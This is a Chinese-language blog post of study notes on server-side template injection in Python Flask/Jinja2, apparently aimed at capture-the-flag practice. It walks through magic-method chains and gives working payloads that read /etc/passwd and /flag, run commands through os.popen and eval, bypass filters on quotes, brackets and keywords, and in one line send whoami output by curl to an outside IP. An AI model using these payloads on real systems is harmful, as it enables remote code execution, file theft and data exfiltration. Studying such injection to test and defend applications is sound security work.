Python SSIT学习

2020-08-07 118次浏览 0条评论  前往评论

前言


学习一波模板注入,参考:

Python模板注入(SSTI)深入学习

什么是SSIT


举一个例子

from flask import Flask
from flask import request
from flask import config
from flask import render_template_string
app = Flask(__name__)

app.config['SECRET_KEY'] = "flag{SSTI_123456}"
@app.route('/')
def hello_world():
    return 'Hello World!'

@app.errorhandler(404)
def page_not_found(e):
    template = '''
{%% block body %%}
    <div class="center-content error">
        <h1>Oops! That page doesn't exist.</h1>
        <h3>%s</h3>
    </div> 
{%% endblock %%}
''' % (request.args.get('404_url'))
    return render_template_string(template), 404

if __name__ == '__main__':
    app.run(host='0.0.0.0',debug=True)

在上述代码中,直接将用户可控参数request.args.get('404_url')在模板中直接渲染并传回页面中,这种不正确的渲染方法会产生模板注入(SSTI)。

可以看到,页面直接返回了81而不是{{9*9}}

常见的魔术方法


  • __class__

用于返回该对象所属的类

class class1:
    def __init__(self):
      pass

o = class1()

print(o.__class__)
#<class '__main__.class1'>
  • __bases__

以元组的形式返回一个类所直接继承的类。

class class1:
    def __init__(self):
      pass
class class2(class1):
    pass

print(class2.__bases__)
#(<class '__main__.class1'>,)
  • __base__

以字符串返回一个类所直接继承的类。

class class1:
    def __init__(self):
      pass
class class2(class1):
    pass

print(class2.__base__)
#<class '__main__.class1'>
  • __subclasses__()

获取类的所有子类。

class Base1(object):
    def __init__(self):
        pass

class test(Base1):
    pass

print(Base1.__subclasses__())
#[<class '__main__.test'>]
  • __mro__

返回解析方法调用的顺序。

  • __init__

所有自带带类都包含init方法,便于利用他当跳板来调用globals

  • __globals__

会以字典类型返回当前位置的全部模块,方法和全局变量。

#coding:utf-8
import os

var = 2333

def fun():
    pass

class test:
    def __init__(self):
        pass

print(test.__init__.__globals__)
#{'__name__': '__main__', '__doc__': None, '__package__': None, '__loader__': <_frozen_importlib_external.SourceFileLoader object at 0x000001B297C64668>, '__spec__': None, '__annotations__': {}, '__builtins__': <module 'builtins' (built-in)>, '__file__': 'D:\\phpStudy\\PHPTutorial\\WWW\\1.py', '__cached__': None, 'os': <module 'os' from 'D:\\Python37\\lib\\os.py'>, 'var': 2333, 'fun': <function fun at 0x000001B297C1C1E0>, 'test': <class '__main__.test'>}

构造链思路


思路如下:

print("".__class__)
#<class 'str'>

先使用该payload来获取某个类,这里可以获取到的是str类,实际上获取到任何类都可以,因为我们都最终目的是要获取到基类Object。

接下来我们可以通过bases或者mro来获取到object基类。

print("".__class__.__bases__[0])
#<class 'object'>
print("".__class__.__mro__[1])
#<class 'object'>

接下来获取其所有子类:

print("".__class__.__mro__[1].__subclasses__())
print("".__class__.__base__.__subclasses__())
print("".__class__.__bases__[0].__subclasses__())
#[<class 'type'>, <class 'weakref'>, ... ,<class '_sitebuiltins._Printer'>, <class '_sitebuiltins._Helper'>]

我们只需要寻找可能执行命令或者可以读取文件的类就可以了,重点关注os/file这些关键字。

file对象任意读取文件


  • python3中已经移除了file,所以这种方法只能在python2中使用

file是在子类列表的第41个

print(().__class__.__base__.__subclasses__()[40])
#<type 'file'>

使用dir查看file对象中的内置方法

print(dir(().__class__.__base__.__subclasses__()[40]))
#['__class__', '__delattr__', '__doc__', '__enter__', '__exit__', '__format__', '__getattribute__', '__hash__', '__init__', '__iter__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', 'close', 'closed', 'encoding', 'errors', 'fileno', 'flush', 'isatty', 'mode', 'name', 'newlines', 'next', 'read', 'readinto', 'readline', 'readlines', 'seek', 'softspace', 'tell', 'truncate', 'write', 'writelines', 'xreadlines']

直接调用里面的方法进行读取文件

print(().__class__.__bases__[0].__subclasses__()[40]('/etc/passwd').readlines())

内置模块执行任意命令


  • 该方法也只能在python2中使用

我们知道__globals__能够返回当前引用的所有模块和变量,如果某个类引用了OS模块那就可能能够执行命令。

这里有一个脚本,先遍历所有子类,然后遍历子类的方法的所引用的东西的key也就是键名,来搜索是否调用了os。

#coding:utf-8

search = 'os'   #也可以是其他你想利用的模块
num = -1
for i in ().__class__.__bases__[0].__subclasses__():
    num += 1
    try:
        if search in i.__init__.__globals__.keys():
            print(i, num)
    except:
        pass
"""
(<class 'site._Printer'>, 69)
(<class 'site.Quitter'>, 74)
"""

然后直接使用

print(().__class__.__mro__[1].__subclasses__()[69].__init__.__globals__['os'].system('dir'))
print(().__class__.__mro__[1].__subclasses__()[74].__init__.__globals__['os'].system('dir'))

如果是上面flask的例子

{{"".__class__.__mro__[1].__subclasses__()[375].__init__.__globals__["os"]["popen"]("whoami").read()}}

直接去爆破375这个数也可以。

__builtins__代码执行


这种的话,python2,3都可以使用。

思路如下:

print(dir(__builtins__))

同样查找globals中含有的__builtins__

search = '__builtins__'
num = -1
for i in ().__class__.__bases__[0].__subclasses__():
    num += 1
    try:
        if search in i.__init__.__globals__.keys():
            print(i, num)
    except:
        pass

payload

print(().__class__.__bases__[0].__subclasses__()[75].__init__.__globals__['__builtins__']['eval']("__import__('os').system('dir')"))
{{().__class__.__bases__[0].__subclasses__()[65].__init__.__globals__['__builtins__']['o'+'pen']('/flag').read()}}

Bypass


当我们需要测试SSTI过滤了什么的时候,可以使用如下payload防止其500:

{{"要测试的字符"}},只需要看看要测试的字符是否返回在页面中即可,下面分别说说对应各种过滤情况的解决办法。

过滤引号


回顾上面的payload

{{"".__class__.__mro__[1].__subclasses__()[375].__init__.__globals__["os"]["popen"]("whoami").read()}}

前面的引号是为了引出基类,可以被替换为数组、字典,以及数字。

后面的引号可以使用request.args来绕过此处的过滤。

{{[].__class__.__mro__[1].__subclasses__()[375].__init__.__globals__[request.args.arg1][request.args.arg2](request.args.arg3).read()}}&arg1=os&arg2=popen&arg3=whoami

另外的一种方法

通过python自带函数来绕过引号,这里使用的是chr()。

{{().__class__.__bases__[0].__subclasses__()[§0§].__init__.__globals__.__builtins__.chr}}

通过payload爆破subclasses,获取某个subclasses中含有chr的类索引,可以看到爆破出来很多了,这里随便选一个。

接着尝试使用chr尝试绕过后续所有的引号:

{%set+chr=[].__class__.__bases__[0].__subclasses__()[77].__init__.__globals__.__builtins__.chr%}{{[].__class__.__mro__[1].__subclasses__()[375].__init__.__globals__[chr(111)%2bchr(115)][chr(112)%2bchr(111)%2bchr(112)%2bchr(101)%2bchr(110)](chr(100)%2bchr(105)%2bchr(114)).read()}}

过滤中括号


回顾最初的payload

{{"".__class__.__mro__[1].__subclasses__()[375].__init__.__globals__["os"]["popen"]("whoami").read()}}

这里globals的中括号有点问题。

a[0]与a.getitem(0)的效果是一样的,所以上述payload可以用此来绕过:

{{"".__class__.__mro__.__getitem__(1).__subclasses__().__getitem__(375).__init__.__globals__["os"]["popen"]('whoami').read()}}

过滤关键字


主要看关键字是如何过滤的,如果只是替换为空,可以尝试双写绕过,如果直接ban了,就可以使用字符串合并的方式进行绕过。

使用中括号的payload:

{{""["__cla"+"ss__"]}}

不使用中括号的payload:

{{"".__getattribute__("__cla"+"ss__")}}

这里主要使用了getattribute来获取字典中的value,参数为key值。

第二种绕过过滤关键字的办法之前也提到了,即使用request对象:

{"".__getattribute__(request.args.a)}}&a=__class__

第三种绕过关键字过滤的办法即使用str原生函数:

我们可以使用decode、replace等来绕过所过滤的关键字。

{{"YWE=".replace("W","")}}
#YE=
{{"YWE=".decode("base64")}}
#aa

模块阉割


在比赛环境中,经常会阉割掉一些内置函数,我们可以尝试使用reload来重载。

在Python2中,reload是内置函数,而在Python3中,reload则为imp module下的函数,使用方法:

from imp import reload
reload(a).popen("whoami").read()

我们一般是不能直接reload(os)的,因为可能当前类并没有import os。

所以一般都是reload(__builtins__),这时可以重新载入builtins,此时builtins中被删除的比如eval、import等就又都回来了。

过滤{{}}


相当于把命令执行的结果外带出去。

{% if ''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals.linecache.os.popen('curl http://xx.xxx.xx.xx:8080/?i=`whoami`').read()=='p' %}1{% endif %}

过滤点号


在Python环境中(Python2/Python3),我们可以使用访问字典的方式来访问函数/类等。

"".__class__等价于""["__class__"]



登录后回复

共有0条评论